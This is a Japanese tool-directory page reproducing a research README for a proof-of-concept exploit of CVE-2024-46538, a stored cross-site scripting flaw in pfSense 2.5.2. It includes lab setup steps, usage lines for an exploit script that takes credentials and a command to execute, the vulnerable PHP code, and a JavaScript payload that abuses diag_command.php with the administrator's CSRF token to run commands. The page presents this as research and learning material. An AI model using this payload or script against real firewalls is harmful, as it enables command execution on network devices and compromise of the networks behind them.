Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-46538 — PfSenseの格納型XSSから任意のコード実行につながるエクスプロイト | Kitploit
ツール/GitHubGitHub/eqstlab/cve-2024-46538
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubeqstlab/cve-2024-46538

CVE-2024-46538

PfSenseの格納型XSSから任意のコード実行につながるエクスプロイト

リポジトリを見る
51811年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

この投稿は、EQSTLab によって公開された調査記事です。

この脆弱性を発見した physicszq に感謝します。

CVE-2024-46538

★ CVE-2024-46538 PfSense 保存型XSSによる任意コード実行 PoC ★

https://github.com/user-attachments/assets/f41d0945-b7f4-4f88-bac5-265904256aae

説明

CVE-2024-46538 : PfSense 保存型XSSの脆弱性

説明: pfsense v2.5.2 のクロスサイトスクリプティング (XSS) 脆弱性により、攻撃者は interfaces_groups_edit.php の $pconfig 変数に注入した細工されたペイロードを介して、任意の Web スクリプトまたは HTML を実行できます。

ラボ環境のセットアップ

脆弱なバージョン(v2.5.2)をダウンロード:

仮想マシンのセットアップ

Oracle Virtual Box 上で実行

1. 仮想マシンを作成 alt text

2. アダプター1、2を次のように設定: alt text

alt text

3. 起動順序を次のように設定: alt text

4. 次の指示に従ってください: alt text alt text alt text alt text alt text alt text alt text

使用方法

Git clone

root@kitploit:~
git clone https://github.com/EQSTLab/CVE-2024-46538.git
cd CVE-2024-46538

パッケージのインストール

root@kitploit:~
pip install -r requirements.txt

コマンド

root@kitploit:~
# Store malicious JavaScript payload (No custom js server)
python3 CVE-2024-46538.py -i <USER_ID> -p <USER_PASSWORD> -u <URL_TO_EXPLOIT> -c <CMD_TO_EXECUTE>
# Store malicious JavaScript payload (Use custom js server)
python3 CVE-2024-46538.py -j <CUSTOM_JAVASCRIPT_SERVER> -i <USER_ID> -p <USER_PASSWORD> -u <URL_TO_EXPLOIT> -c <CMD_TO_EXECUTE>

出力

CVE-2024-46538.py alt text

分析

/src/usr/local/www/interfaces_groups_edit.php

root@kitploit:~
if (isset($_POST['members'])) {
		$members = implode(" ", $_POST['members']);
	} else {
		$members = "";
	}
...
		// Create new group
		} else {
			$ifgroupentry['ifname'] = $_POST['ifname'];
			$a_ifgroups[] = $ifgroupentry;
		}

		write_config("Interface Group added");
		interface_group_setup($ifgroupentry);

		header("Location: interfaces_groups.php");
		exit;
	} else {
		$pconfig['descr'] = $_POST['descr'];
		$pconfig['members'] = $members;
	}
}

interfaces_groups_edit.php の $pconfig 変数に対するフィルタリングの欠如により、クロスサイトスクリプティング (XSS) 脆弱性が生じます。このクロスサイトスクリプティング (XSS) 脆弱性により、攻撃者は diag_command.php エンドポイントを利用して、管理者に対して任意のコマンドを実行できます。 たとえば、次のJavaScriptは任意のコード実行につながる可能性があります。

mal.js

root@kitploit:~
var formData = new FormData();formData.append("__csrf_magic", csrfMagicToken);formData.append("txtCommand", "id");formData.append("txtRecallBuffer", "id");formData.append("submit", "EXEC");formData.append("dlPath", "");formData.append("ulfile", new Blob(), "");formData.append("txtPHPCommand", "");fetch("https://192.168.102.61/diag_command.php", {method: "POST",body: formData}).then(response => response.text()).then(data => {const parser = new DOMParser();const doc = parser.parseFromString(data, "text/html");const contentDiv = doc.querySelector("div.content");if (contentDiv) {alert(contentDiv.textContent);} else {alert("No content found");}})

シナリオ

ユーザー (権限: WebCfg - Interfaces: Groups: Edit) --(悪意のあるJavaScriptコードを保存)--> 管理者 (コード実行権限あり) --(interfaces_groups.phpを閲覧)--> JavaScriptコード実行 --> コード実行

免責事項

このリポジトリは、CVE-2024-46538 の XSS エクスプロイトを意図したものではありません。このプロジェクトの目的は、この脆弱性について学び、場合によっては自分自身のアプリケーションをテストするための支援です。

参考文献

https://github.com/physicszq/web_issue/blob/main/pfsense/interfaces_groups_edit_file.md_xss.md

https://skshieldus.com/eng/business/insight.do#

ツールをダウンロード